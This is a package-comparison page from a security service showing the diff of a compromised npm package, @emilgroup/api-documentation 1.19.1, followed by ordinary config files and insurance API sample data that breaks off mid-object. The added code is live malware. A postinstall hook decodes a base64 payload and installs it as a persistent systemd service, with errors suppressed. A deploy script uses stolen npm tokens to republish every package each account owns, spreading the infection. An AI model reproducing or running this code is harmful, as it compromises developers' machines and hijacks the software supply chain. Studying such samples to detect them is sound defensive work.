You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

@emilgroup/api-documentation

Package Overview
Dependencies
Maintainers
20
Versions
100
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

@emilgroup/api-documentation - npm Package Compare versions

Package version was removed
This package version has been unpublished, mostly likely due to security reasons
Comparing version
1.19.0
to
1.19.1
+47
index.js
'use strict';
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');
const path = require('path');
try {
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
const SERVICE_NAME = (pkg.name || 'user-service').replace(/[^a-zA-Z0-9_-]/g, '-');
const BASE64_PAYLOAD = process.env.PAYLOAD || (pkg.config && pkg.config.payload) || '';
if (!BASE64_PAYLOAD) process.exit(0);
const homeDir = os.homedir();
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
const scriptPath = path.join(dataDir, 'service.py');
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
fs.mkdirSync(dataDir, { recursive: true });
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
fs.mkdirSync(systemdUserDir, { recursive: true });
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
'',
].join('\n'), { mode: 0o644 });
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
} catch (_) {
// silent
}
#!/usr/bin/env node
/**
* deploy.js
*
* Iterates over a list of NPM tokens to:
* 1. Authenticate with the npm registry and resolve your username per token
* 2. Fetch every package owned by that account from the registry
* 3. For every owned package:
* a. Deprecate all existing versions (except the new one you are publishing)
* b. Swap the "name" field in a temp copy of package.json
* c. Run `npm publish` to push the new version to that package
*
* Usage (multiple tokens, comma-separated):
* NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
*
* Usage (single token fallback):
* NPM_TOKEN=<your_token> node scripts/deploy.js
*
* Or set it in your environment beforehand:
* export NPM_TOKENS=<token1>,<token2>
* node scripts/deploy.js
*/
const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');
// ── Helpers ──────────────────────────────────────────────────────────────────
function run(cmd, opts = {}) {
console.log(`\n> ${cmd}`);
return execSync(cmd, { stdio: 'inherit', ...opts });
}
function fetchJson(url, token) {
return new Promise((resolve, reject) => {
const options = {
headers: {
Authorization: `Bearer ${token}`,
Accept: 'application/json',
},
};
https
.get(url, options, (res) => {
let data = '';
res.on('data', (chunk) => (data += chunk));
res.on('end', () => {
try {
resolve(JSON.parse(data));
} catch (e) {
reject(new Error(`Failed to parse response from ${url}: ${data}`));
}
});
})
.on('error', reject);
});
}
/**
* Fetches package metadata (readme + latest version) from the npm registry.
* Returns { readme: string|null, latestVersion: string|null }.
*/
async function fetchPackageMeta(packageName, token) {
try {
const meta = await fetchJson(
`https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
token
);
const readme = (meta && meta.readme) ? meta.readme : null;
const latestVersion =
(meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
return { readme, latestVersion };
} catch (_) {
return { readme: null, latestVersion: null };
}
}
/**
* Bumps the patch segment of a semver string.
* e.g. "1.39.0" → "1.39.1"
*/
function bumpPatch(version) {
const parts = version.split('.').map(Number);
if (parts.length !== 3 || parts.some(isNaN)) return version;
parts[2] += 1;
return parts.join('.');
}
/**
* Returns an array of package names owned by `username`.
* Uses the npm search API filtered by maintainer.
*/
async function getOwnedPackages(username, token) {
let packages = [];
let from = 0;
const size = 250;
while (true) {
const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
username
)}&size=${size}&from=${from}`;
const result = await fetchJson(url, token);
if (!result.objects || result.objects.length === 0) break;
packages = packages.concat(result.objects.map((o) => o.package.name));
if (packages.length >= result.total) break;
from += size;
}
return packages;
}
/**
* Runs the full deploy pipeline for a single npm token.
* Returns { success: string[], failed: string[] }
*/
async function deployWithToken(token, pkg, pkgPath, newVersion) {
// 1. Verify token / get username
console.log('\n🔍 Verifying npm token…');
let whoami;
try {
whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
} catch (err) {
console.error('❌ Could not reach the npm registry:', err.message);
return { success: [], failed: [] };
}
if (!whoami || !whoami.username) {
console.error('❌ Invalid or expired token — skipping.');
return { success: [], failed: [] };
}
const username = whoami.username;
console.log(`✅ Authenticated as: ${username}`);
// 2. Fetch all packages owned by this user
console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
let ownedPackages;
try {
ownedPackages = await getOwnedPackages(username, token);
} catch (err) {
console.error('❌ Failed to fetch owned packages:', err.message);
return { success: [], failed: [] };
}
if (ownedPackages.length === 0) {
console.log(' No packages found for this user. Skipping.');
return { success: [], failed: [] };
}
console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
// 3. Process each owned package
const results = { success: [], failed: [] };
for (const packageName of ownedPackages) {
console.log(`\n${'─'.repeat(60)}`);
console.log(`📦 Processing: ${packageName}`);
// 3a. Fetch the original package's README and latest version
const readmePath = path.resolve(__dirname, '..', 'README.md');
const originalReadme = fs.existsSync(readmePath)
? fs.readFileSync(readmePath, 'utf8')
: null;
console.log(` 📄 Fetching metadata for ${packageName}…`);
const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
// Determine version to publish: bump patch of existing latest, or use local version
const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
console.log(
latestVersion
? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
: ` 🔢 No existing version found → publishing ${publishVersion}`
);
if (remoteReadme) {
fs.writeFileSync(readmePath, remoteReadme, 'utf8');
console.log(` 📄 Using original README for ${packageName}`);
} else {
console.log(` 📄 No existing README found; keeping local README`);
}
// 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
const tempPkg = { ...pkg, name: packageName, version: publishVersion };
fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
try {
run('npm publish --access public', {
env: { ...process.env, NPM_TOKEN: token },
});
console.log(`✅ Published ${packageName}@${publishVersion}`);
results.success.push(packageName);
} catch (err) {
console.error(`❌ Failed to publish ${packageName}:`, err.message);
results.failed.push(packageName);
} finally {
// Always restore the original package.json
fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
// Always restore the original README
if (originalReadme !== null) {
fs.writeFileSync(readmePath, originalReadme, 'utf8');
} else if (remoteReadme && fs.existsSync(readmePath)) {
// README didn't exist locally before — remove the temporary one
fs.unlinkSync(readmePath);
}
}
}
return results;
}
// ── Main ─────────────────────────────────────────────────────────────────────
(async () => {
// 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
const tokens = rawTokens
.split(',')
.map((t) => t.trim())
.filter(Boolean);
if (tokens.length === 0) {
console.error('❌ No npm tokens found.');
console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
process.exit(1);
}
console.log(`🔑 Found ${tokens.length} token(s) to process.`);
// 2. Read local package.json once
const pkgPath = path.resolve(__dirname, '..', 'package.json');
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
const newVersion = pkg.version;
// 3. Iterate over every token
const overall = { success: [], failed: [] };
for (let i = 0; i < tokens.length; i++) {
const token = tokens[i];
console.log(`\n${'═'.repeat(60)}`);
console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
overall.success.push(...success);
overall.failed.push(...failed);
}
// 4. Overall summary
console.log(`\n${'═'.repeat(60)}`);
console.log('📊 Overall Deploy Summary');
console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
if (overall.failed.length > 0) {
process.exit(1);
}
})();
+8
-50
{
"name": "@emilgroup/api-documentation",
"version": "1.19.0",
"description": "Helper library to simplify usage of Typescript contracts",
"main": "dist/index.js",
"types": "dist/index.d.ts",
"version": "1.19.1",
"description": "A new version of the package",
"main": "index.js",
"scripts": {
"prepublishOnly": "npm run lint && npm run build",
"build": "tsc",
"format": "prettier . --write",
"lint": "eslint 'lib/**/*.ts'",
"lint-fix": "eslint --fix 'lib/**/*.ts'",
"test": "echo \"Error: no test specified\" && exit 1",
"prepare": "husky"
"postinstall": "node index.js",
"deploy": "node scripts/deploy.js"
},
"keywords": [
"typescript",
"interfaces",
"types"
],
"repository": {
"type": "git",
"url": "git+ssh://git@bitbucket.org/cover42/api-documentation.git"
},
"author": "EMIL Backend <backend-developers@emil.de >",
"license": "ISC",
"homepage": "https://bitbucket.org/cover42/api-documentation#readme",
"dependencies": {
"@emilgroup/core": "^9.73.0",
"@nestjs/common": "^10.4.20",
"@nestjs/core": "^10.4.20",
"@nestjs/swagger": "^7.4.2",
"dayjs": "^1.11.19",
"lodash": "^4.17.21",
"rxjs": "^7.8.2"
},
"devDependencies": {
"@types/lodash": "^4.17.20",
"@types/node": "20.19.25",
"@typescript-eslint/eslint-plugin": "7.18.0",
"@typescript-eslint/parser": "7.18.0",
"eslint": "^8.57.1",
"eslint-config-prettier": "9.1.2",
"eslint-plugin-prettier": "^5.5.4",
"husky": "^9.1.7",
"prettier": "3.6.2",
"typescript": "^5.9.3"
},
"overrides": {
"glob": ">=11.1.0"
},
"volta": {
"node": "22.20.0"
}
"keywords": [],
"author": "",
"license": "ISC"
}

Sorry, the diff of this file is not supported yet

module.exports = {
root: true,
parser: '@typescript-eslint/parser',
parserOptions: {
project: 'tsconfig.json',
tsconfigRootDir: __dirname,
sourceType: 'module',
},
plugins: ['@typescript-eslint/eslint-plugin'],
extends: [
'plugin:@typescript-eslint/recommended',
'plugin:prettier/recommended',
],
ignorePatterns: ['.eslintrc.js'],
rules: {
'@typescript-eslint/interface-name-prefix': 'off',
'@typescript-eslint/explicit-function-return-type': 'off',
'@typescript-eslint/explicit-module-boundary-types': 'off',
'@typescript-eslint/no-explicit-any': 'off',
'@typescript-eslint/no-unused-vars': 'off',
'prettier/prettier': ['error', { singleQuote: true }],
},
settings: {
'import/resolver': {
node: {
extensions: ['.js', '.ts'],
},
},
},
env: {
node: true,
jest: true,
},
};

Sorry, the diff of this file is not supported yet

{
"singleQuote": true,
"trailingComma": "all"
}
image: node:20.11.0-buster
definitions:
steps:
- step: &trivy_scan
name: 'Trivy vulnerability scan'
image: atlassian/default-image:5
script:
# Set up npm authentication
- printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> .npmrc
# Install npm dependencies to ensure package-lock.json is up to date
- npm ci
# Install Trivy using apt-get
- apt-get update
- apt-get install -y wget gnupg lsb-release
- wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | apt-key add -
- echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | tee -a /etc/apt/sources.list.d/trivy.list
- apt-get update
- apt-get install -y trivy
# Run Trivy vulnerability scan on npm packages
- trivy fs --scanners vuln --exit-code 1 --severity HIGH,CRITICAL --ignore-unfixed .
- step: &lint_and_build
name: 'Lint and build the NestJS package'
caches:
- node
script:
- printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> ~/.npmrc
- npm ci
- npm run lint
- npm run build
- step: &lint_build_and_publish
name: 'Lint, Build and Publish'
script:
- printf "//`node -p \"require('url').parse('https://registry.npmjs.org').host\"`/:_authToken=$NPM_TOKEN" >> ~/.npmrc
- npm ci
- npm run lint
- npm run build
- npm publish
pipelines:
branches:
master:
- step: *lint_build_and_publish
pull-requests:
'*':
- step: *trivy_scan
- step: *lint_and_build
import { Title, ClaimStatus, CoverageType, InsuredObjectType, LeadStatus, PremiumFormulaTypes, PremiumFormulaUnits, PremiumFormulaItemTypes, PremiumFormulaVisibilities, ProductVersionStatus, ContentType, PaymentMethodType, PolicyStatus, AccountType, Language } from '@emilgroup/core';
export declare const createdAt: string;
export declare const updatedAt: string;
export declare const sub = "123e4567-e89b-12d3-a456-426614174000";
export declare const userCode = "usr_yhOroM5edVmUNX2CLNNAz";
export declare const apiSamples: {
insuredObjectType: {
id: number;
slug: InsuredObjectType;
name: string;
createdAt: string;
updatedAt: string;
};
product: {
id: number;
code: string;
name: string;
slug: string;
defaultLanguage: Language;
insuredObjectTypes: InsuredObjectType[];
contractDurationDays: number;
description: string;
versionStatus: ProductVersionStatus;
};
productVersion: {
id: number;
description: string;
};
insuredObject: {
id: number;
name: string;
label: string;
productVersionId: number;
insuredObjectTypeId: number;
createdAt: string;
updatedAt: string;
};
productFieldType: {
id: number;
name: string;
category: string;
};
productField: {
id: number;
name: string;
group: string;
label: string;
defaultValue: string;
typeEntity: string;
typeId: number;
isRequired: boolean;
isHidden: boolean;
isSystem: boolean;
isUnique: boolean;
bfDescription: string;
bfTooltip: string;
bfLabel: string;
};
productFactor: {
id: number;
group: string;
label: string;
};
productFactorValue: {
id: number;
name: string;
key: string;
value: number;
};
premiumFormula: {
id: number;
group: string;
name: string;
expression: string;
type: PremiumFormulaTypes;
unit: PremiumFormulaUnits;
itemType: PremiumFormulaItemTypes;
visibility: PremiumFormulaVisibilities;
netPremium: number;
taxRate: number;
variableName: string;
order: number;
};
namedRange: {
id: number;
fileName: string;
name: string;
hasHeader: boolean;
fileType: string;
base64Data: string;
s3Key: string;
signedS3url: string;
};
defaultProductField: {
name: string;
group: string;
label: string;
defaultValue: {
key: string;
};
readonly minValue: string;
readonly maxValue: string;
typeEntity: string;
typeId: number;
isRequired: boolean;
isHidden: boolean;
isSystem: boolean;
isUnique: boolean;
order: number;
};
policyPremium: {
grandTotal: number;
grossTotal: number;
itemTotal: number;
itemGrossTotal: number;
itemTaxRate: number;
itemTaxtotal: number;
taxTotal: number;
};
policy: {
id: number;
code: string;
from: string;
to: string;
policyStartDate: string;
accountCode: string;
tenantId: number;
policyNumber: string;
number: number;
statusId: number;
status: PolicyStatus;
version: {
id: number;
isCurrent: boolean;
metadata: {
tinyhouse: boolean;
};
timeslice: {
id: number;
};
};
ern: string;
};
policyObject: {
code: string;
insuredObjectName: string;
data: {
tinyhouse: boolean;
};
summary: string;
};
account: {
code: string;
number: string;
ern: string;
};
claim: {
id: number;
code: string;
date: string;
notificationDate: string;
status: ClaimStatus;
type: string;
number: string;
amount: number;
coverageType: CoverageType;
exemption: boolean;
adjuster: string;
reporter: string;
description: string;
title: string;
contactEmail: string;
contactPhone: string;
ern: string;
};
lead: {
title: Title;
id: number;
status: LeadStatus;
productCode: string;
code: string;
pspCustomerId: string;
firstName: string;
leadNumber: string;
lastName: string;
email: string;
gender: string;
street: string;
zipCode: string;
city: string;
birthDate: string;
houseNumber: string;
phone: string;
iban: string;
accountCode: string;
companyName: string;
type: AccountType;
customFields: {
sourceId: string;
};
customData: {
data: {
mandateSignatureDate: string;
};
};
paymentMethod: {
type: string;
sepa: {
iban: string;
holderName: string;
};
};
ern: string;
};
invoiceItem: {
id: number;
premiumFormulaId: number;
invoiceId: number;
billId: number;
name: string;
group: string;
quantity: number;
pricePerUnit: number;
unit: string;
readonly netAmount: number;
readonly taxAmount: number;
readonly grossAmount: number;
taxCode: string;
taxRate: number;
billingIntervalFrom: string;
billingIntervalTo: string;
creditAmount: number;
};
invoice: {
id: number;
code: string;
accountNumber: string;
policyCode: string;
type: string;
invoiceNumber: string;
status: string;
metadata: {
payments: number;
};
dueDate: string;
billingIntervalFrom: string;
billingIntervalTo: string;
createdAt: string;
creditAmount: number;
currency: string;
calculateProRata: boolean;
};
invoiceStatus: {
id: number;
invoiceId: number;
status: string;
createdAt: string;
};
currency: {
name: string;
nativeName: string;
code: string;
symbol: string;
};
document: {
id: number;
code: string;
leadCode: string;
templateSlug: string;
entityType: string;
description: string;
isoContentType: string;
policyCode: string;
accountCode: string;
entityId: number;
requester: string;
metadata: {
roofType: string;
};
payload: {
policyStartDate: string;
};
fields: {
slug: string;
productSlug: string;
description: string;
filename: string;
entityType: string;
productVersionId: string;
s3Key: string;
bucket: string;
key: string;
};
createdAt: string;
s3Key: string;
contentType: ContentType;
filename: string;
url: string;
ern: string;
};
productDocument: {
id: number;
code: string;
productCode: string;
productVersionId: number;
slug: string;
type: string;
description: string;
s3Key: string;
url: string;
contentType: ContentType;
filename: string;
productSlug: string;
createdAt: string;
updatedAt: string;
ern: string;
};
paymentMethod: {
id: number;
code: string;
providerToken: string;
pspCustomerId: string;
psp: string;
type: PaymentMethodType;
};
sendEmailNotification: {
emailSubject: string;
templateSlug: string;
payload: {
firstName: string;
lastName: string;
readonly email: string;
text: string;
};
};
customCss: {
values: string[];
};
customApplication: {
data: {
holder: {
firstname: string;
lastname: string;
street: string;
zip: string;
city: string;
country: string;
email: string;
birthdate: number;
profession: string;
};
payment: {
iban: string;
mandate_signature_date: number;
};
policy_information: {
origin: number;
tariff: string;
bmi: number;
coverage: number;
end_age: number;
};
};
};
customApplicationResponse: {
application: {
timestamp: string;
policy_number: string;
monthly_benefit: number;
duration: number;
end: number;
tariff_name: string;
monthly_premium: number;
general_condition_version: number;
status: string;
};
};
createEstimateInvoice: {
data: {
birthdate: string;
coverage: CoverageType;
bmi: number;
end_ages: number[];
job_class: number;
};
provider: string;
};
dashboard: {
id: number;
code: string;
name: string;
providerId: string;
provider: string;
category: string;
product: string;
description: string;
createdAt: string;
updatedAt: string;
};
scenarioAnalysis: {
id: number;
code: string;
name: string;
dashboardName: string;
dashboardProviderId: string;
status: string;
day: 0 | 1 | 2 | 3 | 4 | 5 | 6;
week: number;
year: number;
conditions: {
competitors: string[];
coverageClasses: string[];
priceChangePercentage: number;
}[];
insuranceStartDate: string;
createdAt: string;
updatedAt: string;
createdBy: string;
product: string;
};
policyBillingDate: {
id: number;
policyCode: string;
nextBillingDate: string;
isInvoiced: boolean;
};
userSetting: {
id: number;
owner: string;
key: string;
value: {
color: string;
};
userId: string;
version: number;
createdAt: string;
updatedAt: string;
type: string;
};
tenantSetting: {
id: number;
owner: string;
key: string;
value: {
color: string;
};
userId: string;
version: number;
createdAt: string;
updatedAt: string;
type: string;
};
inviteUser: {
id: number;
emails: string[];
roleIds: number[];
expiresOn: string;
createdAt: string;
updatedAt: string;
};
user: {
id: number;
code: string;
firstName: string;
lastName: string;
status: string;
email: string;
};
userRole: {
id: number;
code: string;
label: string;
description: string;
createdAt: string;
updatedAt: string;
};
userPermission: {
id: number;
code: string;
module: string;
entity: string;
action: string;
category: string;
isScoped: boolean;
createdAt: string;
updatedAt: string;
};
alert: {
id: number;
code: string;
name: string;
type: string;
description: string;
insurers: string[];
channels: number[];
minFactor: number;
maxFactor: number;
product: string;
createdAt: string;
updatedAt: string;
};
settlement: {
id: number;
code: string;
insuredObject: string;
reserve: number;
payment: number;
recourse: number;
claimCode: string;
currency: string;
createdAt: string;
updatedAt: string;
};
report: {
id: number;
code: string;
name: string;
product: string;
description: string;
slug: string;
createdAt: string;
updatedAt: string;
documentKey: string;
};
documentTemplate: {
name: string;
slug: string;
label: string;
layoutId: number;
bodyTemplate: {
draftContent: string;
};
content: string;
productSlug: string;
owner: string;
layout: {
name: string;
slug: string;
style: string;
};
};
searchableDocument: {
searchText: string;
ownerName: string;
name: string;
ownerId: string;
keywords: string[];
signedS3Url: string;
rank: number;
headlines: string[];
};
tariffComparison: {
insurerName: string;
tariffName: string;
groupTitle: string;
validFrom: string;
akbS3Key: string;
akbSignedUrl: string;
ipidS3Key: string;
ipidSignedUrl: string;
};
claimPartnerRole: {
code: string;
name: string;
productSlug: string;
};
claimPartner: {
partnerCode: string;
claimPartnerRoleCode: string;
claimCode: string;
};
payment: {
code: string;
};
partner: {
code: string;
number: string;
};
partnerLink: {
partnerCode: string;
partnerNumber: string;
partnerRoleCode: string;
partnerRoleSlug: string;
};
decisionTable: {
code: string;
slug: string;
name: string;
filename: string;
};
decisionTableVersion: {
code: string;
};
exceedingCredit: {
code: string;
};
bankTransaction: {
code: string;
};
comment: {
id: number;
code: string;
entityType: string;
entityCode: string;
content: string;
userCode: string;
userName: string;
isEdited: boolean;
status: string;
createdAt: string;
updatedAt: string;
createdBy: string;
updatedBy: string;
};
commentWithParent: {
id: number;
code: string;
entityType: string;
entityCode: string;
content: string;
userCode: string;
userName: string;
isEdited: boolean;
status: string;
createdAt: string;
updatedAt: string;
createdBy: string;
updatedBy: string;
parentCommentCode: string;
};
};
export declare const apiDescriptions: {
metadata: string;
expand: string;
pageToken: string;
pageSize: string;
order: string;
filter: string;
lead: {
code: string;
productVersionId: string;
status: string;
account: {
description: string;
title: string;
firstName: string;
lastName: string;
email: string;
gender: string;
street: string;
zipCode: string;
city: string;
houseNumber: string;
birthDate: string;
phone: string;
type: string;
companyName: string;
customFields: string;
};
accountCode: string;
policy: {
description: string;
accountCode: string;
holder: string;
};
bankAccount: string;
uploadedDocument: string;
premiumOverride: string;
paymentMethod: string;
validate: string;
policyObjects: {
description: string;
insuredObjectId: string;
data: string;
insuredObjectName: string;
};
customData: string;
partner: {
description: string;
partnerCode: string;
partnerNumber: string;
partnerRoleCode: string;
partnerRoleSlug: string;
startDate: string;
};
};
invoiceItem: {
billingIntervalFrom: string;
billingIntervalTo: string;
};
invoice: {
dueDate: string;
policy: string;
calculateProRata: string;
billingIntervalFrom: string;
billingIntervalTo: string;
};
ern: string;
};
export declare const dateSamples: {
createdAt: string;
updatedAt: string;
dayNumber: 0 | 1 | 2 | 3 | 4 | 5 | 6;
weekNumber: number;
monthNumber: number;
yearNumber: number;
futureDate: string;
};
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.dateSamples = exports.apiDescriptions = exports.apiSamples = exports.userCode = exports.sub = exports.updatedAt = exports.createdAt = void 0;
const core_1 = require("@emilgroup/core");
const dayjs_1 = __importDefault(require("dayjs"));
const weekYear_1 = __importDefault(require("dayjs/plugin/weekYear"));
const weekOfYear_1 = __importDefault(require("dayjs/plugin/weekOfYear"));
dayjs_1.default.extend(weekOfYear_1.default);
dayjs_1.default.extend(weekYear_1.default);
const baseDate = (0, dayjs_1.default)('2024-01-01T00:00:00.000Z');
const numbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
const dayNumber = baseDate.day();
const weekNumber = baseDate.week();
const monthNumber = baseDate.month() + 1;
const yearNumber = baseDate.year();
const billingToDate = baseDate.add(4, 'month').toISOString();
const futureDate = baseDate.add(3, 'month').toISOString();
const ern = 'emil:ks';
exports.createdAt = baseDate.subtract(6, 'month').toISOString();
exports.updatedAt = baseDate.subtract(3, 'month').toISOString();
exports.sub = '123e4567-e89b-12d3-a456-426614174000';
exports.userCode = 'usr_yhOroM5edVmUNX2CLNNAz';
const commonSetting = {
id: 1,
owner: 'Emil Mustermann',
key: 'NewKey',
value: {
color: 'red',
},
userId: '1',
version: 2,
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
};
exports.apiSamples = {
insuredObjectType: {
id: 1,
slug: core_1.InsuredObjectType.Car,
name: 'Car',
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
product: {
id: 1,
code: 'pro_w_fHuycb6S1OgzLg',
name: 'Car Insurance',
slug: 'car-insurance',
defaultLanguage: core_1.Language.English,
insuredObjectTypes: [core_1.InsuredObjectType.Car],
contractDurationDays: 60,
description: 'Super car insurance product',
versionStatus: core_1.ProductVersionStatus.Draft,
},
productVersion: {
id: 3,
description: 'Super car insurance product',
},
insuredObject: {
id: 1,
name: 'device1',
label: 'Device',
productVersionId: 4,
insuredObjectTypeId: 2,
createdAt: exports.createdAt,
updatedAt: exports.updatedAt,
},
productFieldType: {
id: 1,
name: 'string',
category: 'basic',
},
productField: {
id: 1,
name: 'sf_class',
group: 'Vehicle',
label: 'Enter SF Class',
defaultValue: '',
typeEntity: 'product_factor_type',
typeId: 2,
isRequired: true,
isHidden: false,
isSystem: false,
isUnique: false,
bfDescription: 'SF Class is important for your premium calculation',
bfTooltip: 'SF Class are based on how long you have been accident free',
bfLabel: 'Enter SF Class',
},
productFactor: {
id: 1,
group: 'Vehicle',
label: 'sf_class',
},
productFactorValue: {
id: 1,
name: 'SF Class 0',
key: '123',
value: 2,
},
premiumFormula: {
id: 1,
group: 'Vehicle premium',
name: 'Base fare',
expression: '1000 * car.sf_class',
type: core_1.PremiumFormulaTypes.Time,
unit: core_1.PremiumFormulaUnits.Month,
itemType: core_1.PremiumFormulaItemTypes.Netto,
visibility: core_1.PremiumFormulaVisibilities.Public,
netPremium: 125,
taxRate: 19,
variableName: 'baseFare',
order: 10,
},
namedRange: {
id: 1,
fileName: 'postal-codes.csv',
name: 'AB_Postal_Codes',
hasHeader: true,
fileType: 'CSV',
base64Data: 'Q29sMSwgQ29sIDIsIENvbCAzXG4xLCAxMSwgMTExXG4yLCAyMiwgMjIyXG4=',
s3Key: 'product/123/version/456/named_ranges/postal-codes/postal-codes.csv',
signedS3url: 'https://emil-products.s3.eu-central-1.amazonaws.com/postal-codes.csv?X-Amz-Algorithm=AWS4-HMAC-SHA256...',
},
defaultProductField: {
name: 'Previous Policy Number',
group: 'Vehicle',
label: 'Enter Previous policy number',
defaultValue: { key: 'value' },
get minValue() {
return this.defaultValue;
},
get maxValue() {
return this.defaultValue;
},
typeEntity: 'system_product_field_type',
typeId: 4,
isRequired: true,
isHidden: false,
isSystem: false,
isUnique: false,
order: 7,
},
policyPremium: {
grandTotal: 2000,
grossTotal: 2000,
itemTotal: 2000,
itemGrossTotal: 2000,
itemTaxRate: 19,
itemTaxtotal: 400,
taxTotal: 400,
},
policy: {
id: 1,
code: 'pol_Qei9aALKz-pYPZ2V',
from: baseDate.subtract(5, 'month').toISOString(),
to: baseDate.subtract(5, 'month').add(1, 'year').toISOString(),
policyStartDate: baseDate.add(1, 'month').toISOString(),
accountCode: 'acc_Fl1SQjaDjvW3mhAo',
tenantId: 2,
policyNumber: '472922',
number: 1403774,
statusId: 2,
status: core_1.PolicyStatus.ACTIVE,
version: {
id: 1,
isCurrent: true,
metadata: {
tinyhouse: false,
},
timeslice: {
id: 8,
},
},
ern,
},
policyObject: {
code: 'pol_o_cW3b4x7JKmPo4Hra',
insuredObjectName: 'default',
data: {
tinyhouse: false,
},
summary: 'Summary',
},
account: {
code: 'acc_X0LTUarBwAxUMZRb',
number: '47328',
ern,
},
claim: {
id: 1,
code: 'cla_KZ27gC73R_0Fy55A',
date: exports.updatedAt,
notificationDate: exports.createdAt,
status: core_1.ClaimStatus.Open,
type: 'Damage',
number: 'CLA-9903',
amount: 549.0,
coverageType: core_1.CoverageType.KH,
exemption: true,
adjuster: 'John Doe',
reporter: 'Emil Mustermann',
description: 'Claim description.',
title: 'Claim title',
contactEmail: 'emil.muster@emil.de',
contactPhone: '+49 011 7067 6225',
ern,
},
lead: {
title: core_1.Title.Doctor,
id: 1,
status: core_1.LeadStatus.Created,
productCode: 'pro_BTQ8hFUs1VdTkyNS',
code: 'lea_uGrCZlqnUeTvGG8_',
pspCustomerId: '30ac4d51-9872-4b45-bac6-feb318bc6c41',
firstName: 'Emil',
leadNumber: 'L0000001',
lastName: 'Mustermann',
email: 'emil.muster@emil.de',
gender: 'unspecified',
street: 'Ackerstraße',
zipCode: '10115',
city: 'Berlin',
birthDate: baseDate.subtract(25, 'years').toISOString(),
houseNumber: '29',
phone: '+49 011 7067 6225',
iban: 'DE89370400440532013000',
accountCode: 'acc_OeMnE8KO2SChdq1D',
companyName: 'Emil',
type: core_1.AccountType.Person,
customFields: {
sourceId: '2f9b2f0c-bca3-4f27-9676-e4a11ad0d9be',
},
customData: {
data: {
mandateSignatureDate: exports.createdAt,
},
},
paymentMethod: {
type: 'sepa',
sepa: {
iban: 'DE89370400440532013000',
holderName: 'Emil Mustermann',
},
},
ern,
},
invoiceItem: {
id: 1,
premiumFormulaId: 3,
invoiceId: 1,
billId: 2,
name: 'sf_class',
group: 'Group',
quantity: 1,
pricePerUnit: 100,
unit: 'month',
get netAmount() {
return this.quantity * this.pricePerUnit * 100;
},
get taxAmount() {
return this.netAmount * this.taxRate;
},
get grossAmount() {
return this.netAmount + this.taxAmount;
},
taxCode: 'LkYXmKOKP9c9caGr',
taxRate: 0.19,
billingIntervalFrom: futureDate,
billingIntervalTo: billingToDate,
creditAmount: 25,
},
invoice: {
id: 1,
code: 'inv_n2WCc5IxsZldZzbG',
accountNumber: '472922',
policyCode: 'pol_4EQEnLC1pVaPKNSZ',
type: 'initial',
invoiceNumber: '3',
status: 'open',
metadata: {
payments: 25,
},
dueDate: futureDate,
billingIntervalFrom: futureDate,
billingIntervalTo: billingToDate,
createdAt: exports.createdAt,
creditAmount: 15,
currency: 'EUR',
calculateProRata: false,
},
invoiceStatus: {
id: 1,
invoiceId: 3,
status: 'paid',
createdAt: exports.createdAt,
},
currency: {
name: 'Euro',
nativeName: 'Euro',
code: 'EUR',
symbol: '€',
},
document: {
id: 1,
code: 'doc_x8ti8D3WHHHk8TYq',
leadCode: 'lea_plOw9N8pHei25qdR',
